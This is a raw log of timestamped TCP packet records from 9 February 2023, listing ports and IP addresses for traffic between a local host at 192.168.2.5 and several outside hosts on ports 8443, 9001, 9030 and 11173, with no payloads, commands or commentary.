Feb 9, 2023 01:00:35.423813105 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:44.969029903 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:44.994779110 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:45.019929886 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:01:05.000394106 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:01:05.012387991 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:05.025415897 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:01:05.025532961 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:01:05.210880041 CET	9001	49718	75.194.52.84	192.168.2.5
Feb 9, 2023 01:01:05.211090088 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:05.211653948 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:05.400794983 CET	9001	49718	75.194.52.84	192.168.2.5
Feb 9, 2023 01:01:05.419133902 CET	9001	49718	75.194.52.84	192.168.2.5
Feb 9, 2023 01:01:05.425719023 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:05.629616976 CET	9001	49718	75.194.52.84	192.168.2.5
Feb 9, 2023 01:01:05.641408920 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:05.841670036 CET	9001	49718	75.194.52.84	192.168.2.5
Feb 9, 2023 01:01:05.841773987 CET	9001	49718	75.194.52.84	192.168.2.5
Feb 9, 2023 01:01:05.841929913 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:05.862895966 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:05.928668022 CET	49719	9030	192.168.2.5	176.58.110.66
Feb 9, 2023 01:01:05.960211992 CET	9030	49719	176.58.110.66	192.168.2.5
Feb 9, 2023 01:01:05.962143898 CET	49719	9030	192.168.2.5	176.58.110.66
Feb 9, 2023 01:01:05.971638918 CET	49719	9030	192.168.2.5	176.58.110.66
Feb 9, 2023 01:01:06.002985954 CET	9030	49719	176.58.110.66	192.168.2.5
Feb 9, 2023 01:01:06.093312979 CET	9001	49718	75.194.52.84	192.168.2.5
Feb 9, 2023 01:01:15.963901997 CET	49719	9030	192.168.2.5	176.58.110.66
Feb 9, 2023 01:01:15.964226007 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:15.972337961 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:15.995251894 CET	9030	49719	176.58.110.66	192.168.2.5
Feb 9, 2023 01:01:15.995531082 CET	49719	9030	192.168.2.5	176.58.110.66
Feb 9, 2023 01:01:15.998542070 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:15.998663902 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:15.999216080 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:16.025681019 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:16.026515961 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:16.032521963 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:16.059509039 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:16.066049099 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:16.092700005 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:16.092740059 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:16.092830896 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:16.098640919 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:16.153101921 CET	9001	49718	75.194.52.84	192.168.2.5
Feb 9, 2023 01:01:16.153279066 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:16.162772894 CET	9001	49718	75.194.52.84	192.168.2.5
Feb 9, 2023 01:01:16.162926912 CET	49718	9001	192.168.2.5	75.194.52.84
Feb 9, 2023 01:01:16.170205116 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:16.383409023 CET	49722	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:16.515122890 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:16.520148039 CET	49722	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:16.520481110 CET	49722	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:16.645946026 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:16.814721107 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:16.814758062 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:16.814778090 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:16.814801931 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:16.814824104 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:16.814843893 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:16.814862967 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:16.814918041 CET	49722	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:16.814986944 CET	49722	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:16.836688995 CET	49722	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:16.868390083 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:16.900536060 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:16.902879953 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:16.943231106 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:16.963793993 CET	9030	49722	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:17.072000027 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:17.072766066 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:17.073277950 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:17.088718891 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:17.210624933 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:17.857295990 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:17.857331991 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:17.857353926 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:17.857376099 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:17.857470989 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:17.857517958 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:17.857573032 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:17.857594013 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:17.857647896 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:17.990861893 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:18.030867100 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:18.030966043 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:18.031027079 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:18.038880110 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:18.039005995 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:18.047293901 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:18.047554970 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:18.047555923 CET	49723	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:18.062819004 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:18.138515949 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:18.171891928 CET	9030	49723	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:18.475217104 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:18.522125006 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:18.549426079 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:18.786400080 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:18.825782061 CET	49724	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:18.885701895 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:18.957000017 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:18.957119942 CET	49724	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:18.957381010 CET	49724	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:19.079354048 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.713805914 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.713849068 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.714066029 CET	49724	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:19.717808008 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.717852116 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.718010902 CET	49724	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:19.718125105 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.718170881 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.718252897 CET	49724	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:19.719670057 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.722536087 CET	49724	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:19.741152048 CET	49724	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:19.758008957 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:19.784054041 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:19.785053015 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:19.820545912 CET	49725	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:19.858638048 CET	9030	49724	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.901514053 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:19.944785118 CET	9030	49725	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:19.945123911 CET	49725	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:19.945561886 CET	49725	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:20.074779034 CET	9030	49725	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:20.670588970 CET	9030	49725	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:20.678668976 CET	9030	49725	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:20.678718090 CET	9030	49725	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:20.678816080 CET	49725	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:20.682550907 CET	49725	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:20.687710047 CET	49725	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:20.705926895 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:20.754656076 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:20.798039913 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:20.807223082 CET	9030	49725	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:20.841922045 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:20.850327015 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:20.894320965 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:20.905205965 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:20.914972067 CET	49726	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:20.974312067 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:21.037916899 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:21.038207054 CET	49726	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:21.038620949 CET	49726	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:21.155998945 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.329142094 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.329193115 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.329226971 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.329252005 CET	49726	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:22.329266071 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.329307079 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.329308033 CET	49726	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:22.329345942 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.329384089 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.329387903 CET	49726	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:22.329427004 CET	49726	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:22.346215010 CET	49726	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:22.362598896 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:22.388751030 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:22.389461040 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:22.412671089 CET	49727	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:22.432883024 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:22.467928886 CET	9030	49726	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.537187099 CET	9030	49727	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:22.539437056 CET	49727	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:22.539560080 CET	49727	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:22.660499096 CET	9030	49727	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:23.610373020 CET	9030	49727	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:23.610407114 CET	9030	49727	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:23.610488892 CET	9030	49727	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:23.610586882 CET	49727	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:23.610636950 CET	49727	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:23.623545885 CET	49727	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:23.645086050 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:23.714293003 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:23.752896070 CET	9030	49727	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:23.830389023 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:23.863194942 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:23.890077114 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:24.053045034 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:24.086241007 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:24.114443064 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:24.276981115 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:24.323771000 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:24.435451984 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:24.448909044 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:24.458127022 CET	49728	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:24.475311995 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:24.580208063 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:24.580421925 CET	49728	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:24.580585003 CET	49728	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:24.703978062 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:25.795445919 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:25.795483112 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:25.795576096 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:25.795619011 CET	49728	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:25.797128916 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:25.797241926 CET	49728	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:25.803200960 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:25.803236961 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:25.803256035 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:25.803332090 CET	49728	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:25.803395033 CET	49728	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:25.821717024 CET	49728	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:25.844583035 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:25.870676994 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:25.873253107 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:25.902992964 CET	49729	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:25.927824020 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:25.933619976 CET	9030	49728	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:26.017297983 CET	9030	49729	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:26.017472982 CET	49729	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:26.017787933 CET	49729	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:26.139740944 CET	9030	49729	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:27.374885082 CET	9030	49729	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:27.374931097 CET	9030	49729	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:27.374950886 CET	9030	49729	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:27.375117064 CET	49729	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:27.394428968 CET	49729	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:27.440042019 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:27.503276110 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:27.506568909 CET	9030	49729	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:27.548017025 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:27.608062983 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:27.615626097 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:27.677750111 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:27.730235100 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:37.687840939 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:37.727606058 CET	49731	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:37.758213043 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:37.859664917 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:37.859759092 CET	49731	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:37.859992027 CET	49731	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:38.002351046 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.097600937 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.097645998 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.097671032 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.097711086 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.097733974 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.097759008 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.097799063 CET	49731	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:40.098077059 CET	49731	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:40.103534937 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.103728056 CET	49731	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:40.117158890 CET	49731	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:40.146682024 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:40.172759056 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:40.176489115 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:40.227596998 CET	49732	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:40.231281996 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:40.231897116 CET	9030	49731	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.344335079 CET	9030	49732	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:40.344481945 CET	49732	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:40.344760895 CET	49732	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:40.481015921 CET	9030	49732	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:41.959980011 CET	9030	49732	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:41.960015059 CET	9030	49732	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:41.960035086 CET	9030	49732	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:41.960180044 CET	49732	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:41.976833105 CET	49732	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:42.026124001 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:42.094259024 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:42.107141972 CET	9030	49732	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:42.133543015 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:42.178093910 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:42.205682993 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:42.241677046 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:42.248158932 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:42.318253040 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:42.366173029 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:42.419028997 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:42.445753098 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:42.454236984 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:42.464339018 CET	49733	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:42.480405092 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:42.580198050 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:42.580307961 CET	49733	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:42.580558062 CET	49733	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:42.708858013 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.443175077 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.443213940 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.443236113 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.443353891 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.443367958 CET	49733	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:43.443408012 CET	49733	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:43.449337006 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.449377060 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.449393988 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.449525118 CET	49733	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:43.461138964 CET	49733	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:43.488775015 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:43.515492916 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:43.517255068 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:43.557431936 CET	49734	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:43.559683084 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:43.586186886 CET	9030	49733	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.671617031 CET	9030	49734	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:43.671811104 CET	49734	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:43.673660994 CET	49734	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:43.794009924 CET	9030	49734	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:45.224827051 CET	9030	49734	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:45.224881887 CET	9030	49734	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:45.224915981 CET	9030	49734	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:45.224936008 CET	9030	49734	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:45.226135969 CET	49734	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:45.268157959 CET	49734	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:45.391387939 CET	9030	49734	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:45.439311028 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:45.506186962 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:45.670500994 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:45.723872900 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:45.887125969 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:45.913340092 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:46.112767935 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:46.163461924 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:46.189714909 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:46.624593019 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:46.684067011 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:46.710232973 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:46.760509968 CET	49721	11173	192.168.2.5	185.220.101.173
Feb 9, 2023 01:01:46.771336079 CET	49735	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:46.786540985 CET	11173	49721	185.220.101.173	192.168.2.5
Feb 9, 2023 01:01:46.890764952 CET	9030	49735	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:46.890970945 CET	49735	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:46.891283989 CET	49735	9030	192.168.2.5	24.53.51.144
Feb 9, 2023 01:01:47.019126892 CET	9030	49735	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:48.145195961 CET	9030	49735	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:48.145234108 CET	9030	49735	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:48.145253897 CET	9030	49735	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:48.145454884 CET	9030	49735	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:48.145493031 CET	9030	49735	24.53.51.144	192.168.2.5
Feb 9, 2023 01:01:48.145513058 CET	9030	49735	24.53.51.144	192.168.2.5
